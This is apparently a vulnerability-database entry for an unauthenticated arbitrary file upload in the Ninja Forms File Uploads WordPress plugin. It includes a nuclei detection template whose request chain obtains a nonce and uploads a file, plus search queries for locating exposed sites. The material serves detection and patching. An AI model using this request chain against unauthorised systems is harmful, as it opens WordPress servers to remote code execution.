HexBrain

Browse / CVEs / CVE-2026-0740

CVE-2026-0740· ninjaforms / ninja forms file uploads· CWE-434

Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload

criticalseverity
9.8CVSS score
62.9%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.

Impact

Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.

Fix

Update Ninja Forms File Uploads plugin to version 3.3.27 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(body, "nfpluginsettings.js") and status_code == 200 and compare_versions(version, "<= 3.3.26")
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "\"success\":true") and contains(body, "\"nonce\":") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, "data\":{\"files", "tmp_name\":", "new_tmp_key\":") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-0740 -u <target>

The full check
id: CVE-2026-0740

info:
  name: Ninja Forms File Uploads <= 3.3.26 - Arbitrary File Upload
  author: whattheslime
  severity: critical
  description: |
    Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update Ninja Forms File Uploads plugin to version 3.3.27 or later.
  reference:
    - https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0740
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0740
    epss-score: 0.62903
    epss-percentile: 0.99204
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: ninjaforms
    product: ninja_forms_file_uploads
    cpe: cpe:2.3:a:ninjaforms:ninja_forms_file_uploads:*:*:*:*:*:wordpress:*:*
    shodan-query: http.html:"nfpluginsettings.js?ver="
    fofa-query: body="nfpluginsettings.js?ver="
  tags: cve,cve2026,wordpress,wp,wp-plugin,ninja-forms-uploads,file-upload,rce,vkev

variables:
  field_id: "{{rand_int(1000000000, 9999999999)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "nfpluginsettings.js")'
          - 'status_code == 200'
          - 'compare_versions(version, "<= 3.3.26")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'nfpluginsettings\.js\?ver=([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=nf_fu_get_new_nonce&field_id={{field_id}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"success\":true")'
          - 'contains(body, "\"nonce\":")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        part: body
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=nucleiboundary

        --nucleiboundary
        Content-Disposition: form-data; name="action"

        nf_fu_upload
        --nucleiboundary
        Content-Disposition: form-data; name="nonce"

        {{nonce}}
        --nucleiboundary
        Content-Disposition: form-data; name="form_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="field_id"

        {{field_id}}
        --nucleiboundary
        Content-Disposition: form-data; name="files-{{field_id}}"; filename="image.jpg"
        Content-Type: image/jpeg

        {{randstr}}
        --nucleiboundary
        Content-Disposition: form-data; name="image_jpg"

        {{randstr}}.txt
        --nucleiboundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "data\":{\"files", "tmp_name\":", "new_tmp_key\":")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from